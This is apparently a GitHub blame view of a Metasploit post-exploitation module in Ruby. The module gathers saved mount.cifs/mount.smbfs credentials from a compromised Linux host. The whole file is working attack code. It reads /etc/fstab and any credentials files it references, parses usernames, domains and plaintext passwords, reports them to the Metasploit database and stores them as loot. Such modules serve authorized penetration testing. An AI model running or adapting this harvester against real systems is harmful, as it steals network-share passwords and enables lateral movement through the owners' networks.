metasploit-framework/modules/post/linux/gather/mount_cifs_creds.rb

185 lines
5.5 KiB
Ruby
Raw Normal View History

##
2017-07-24 13:26:21 +00:00
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Post
2013-09-05 18:41:25 +00:00
include Msf::Post::File
2013-08-30 21:28:54 +00:00
def initialize(info={})
super( update_info( info,
'Name' => 'Linux Gather Saved mount.cifs/mount.smbfs Credentials',
'Description' => %q{
Post Module to obtain credentials saved for mount.cifs/mount.smbfs in
/etc/fstab on a Linux system.
},
'License' => MSF_LICENSE,
'Author' => ['Jon Hart <jhart[at]spoofed.org>'],
'Platform' => ['linux'],
'SessionTypes' => ['shell', 'meterpreter']
))
2013-08-30 21:28:54 +00:00
end
2013-08-30 21:28:54 +00:00
def run
# keep track of any of the credentials files we read so we only read them once
cred_files = []
# where we'll store hashes of found credentials while parsing. reporting is done at the end.
creds = []
# A table to store the found credentials for loot storage afterward
cred_table = Rex::Text::Table.new(
2013-08-30 21:28:54 +00:00
'Header' => "mount.cifs credentials",
'Indent' => 1,
'Columns' =>
[
"Username",
"Password",
"Server",
"File"
])
2013-08-30 21:28:54 +00:00
# parse each line from /etc/fstab
2017-09-30 02:34:38 +00:00
fail_with(Failure::NotFound, '/etc/fstab not found on system') unless file_exist?('/etc/fstab')
2013-08-30 21:28:54 +00:00
read_file("/etc/fstab").each_line do |fstab_line|
fstab_line.strip!
# where we'll store the current parsed credentials, if any
cred = {}
# if the fstab line utilizies the credentials= option, read the credentials from that file
if (fstab_line =~ /\/\/([^\/]+)\/\S+\s+\S+\s+cifs\s+.*/)
2015-10-01 05:24:43 +00:00
cred[:host] = $1
2013-08-30 21:28:54 +00:00
# IPs can occur using the ip option, which is a backup/alternative
# to letting UNC resolution do its thing
2015-10-01 05:24:43 +00:00
cred[:host] = $1 if (fstab_line =~ /ip=([^, ]+)/)
2013-08-30 21:28:54 +00:00
if (fstab_line =~ /cred(?:entials)?=([^, ]+)/)
file = $1
# skip if we've already parsed this credentials file
next if (cred_files.include?(file))
# store it if we haven't
cred_files << file
# parse the credentials
2015-10-01 05:24:43 +00:00
cred.merge!(parse_credentials_file(file))
2013-08-30 21:28:54 +00:00
# if the credentials are directly in /etc/fstab, parse them
elsif (fstab_line =~ /\/\/([^\/]+)\/\S+\s+\S+\s+cifs\s+.*(?:user(?:name)?|pass(?:word)?)=/)
2015-10-01 05:24:43 +00:00
cred.merge!(parse_fstab_credentials(fstab_line))
2013-08-30 21:28:54 +00:00
end
2015-10-01 05:24:43 +00:00
creds << cred
2013-08-30 21:28:54 +00:00
end
end
2013-08-30 21:28:54 +00:00
# all done. clean up, report and loot.
creds.flatten!
creds.compact!
creds.uniq!
creds.each do |cred|
if (Rex::Socket.dotted_ip?(cred[:host]))
report_cred(
2015-10-01 05:24:43 +00:00
ip: cred[:host],
port: 445,
service_name: 'smb',
user: cred[:user],
password: cred[:pass],
proof: '/etc/fstab'
)
2013-08-30 21:28:54 +00:00
end
cred_table << [ cred[:user], cred[:pass], cred[:host], cred[:file] ]
end
2013-08-30 21:28:54 +00:00
# store all found credentials
unless (cred_table.rows.empty?)
print_line("\n" + cred_table.to_s)
p = store_loot(
"mount.cifs.creds",
"text/csv",
session,
cred_table.to_csv,
"mount_cifs_credentials.txt",
"mount.cifs credentials")
print_status("CIFS credentials saved in: #{p.to_s}")
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :session,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password,
session_id: session_db_id,
post_reference_name: self.refname
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
2013-08-30 21:28:54 +00:00
# Parse mount.cifs credentials from +line+, assumed to be a line from /etc/fstab.
2015-10-01 05:24:43 +00:00
# Returns the username+domain and password as a hash.
2013-08-30 21:28:54 +00:00
def parse_fstab_credentials(line, file="/etc/fstab")
creds = {}
# get the username option, which comes in one of four ways
user_opt = $1 if (line =~ /user(?:name)?=([^, ]+)/)
case user_opt
# domain/user%pass
when /^([^\/]+)\/([^%]+)%(.*)$/
creds[:user] = "#{$1}\\#{$2}"
creds[:pass] = $3
# domain/user
when /^([^\/]+)\/([^%]+)$/
creds[:user] = "#{$1}\\#{$2}"
# user%password
when /^([^%]+)%(.*)$/
creds[:user] = $1
creds[:pass] = $2
# user
else
creds[:user] = user_opt
end if (user_opt)
2013-08-30 21:28:54 +00:00
# get the password option if any
creds[:pass] = $1 if (line =~ /pass(?:word)?=([^, ]+)/)
2013-08-30 21:28:54 +00:00
# get the domain option, if any
creds[:user] = "#{$1}\\#{creds[:user]}" if (line =~ /dom(?:ain)?=([^, ]+)/)
2013-08-30 21:28:54 +00:00
creds[:file] = file unless (creds.empty?)
2015-10-01 05:24:43 +00:00
creds
2013-08-30 21:28:54 +00:00
end
2013-08-30 21:28:54 +00:00
# Parse mount.cifs credentials from +file+, returning the username+domain and password
2015-10-01 05:24:43 +00:00
# as a hash.
2013-08-30 21:28:54 +00:00
def parse_credentials_file(file)
creds = {}
domain = nil
read_file(file).each_line do |credfile_line|
case credfile_line
when /domain=(.*)/
domain = $1
when /password=(.*)/
creds[:pass] = $1
when /username=(.*)/
creds[:user] = $1
end
end
# prepend the domain if one was found
creds[:user] = "#{domain}\\#{creds[:user]}" if (domain and creds[:user])
creds[:file] = file unless (creds.empty?)
2015-10-01 05:24:43 +00:00
creds
2013-08-30 21:28:54 +00:00
end
end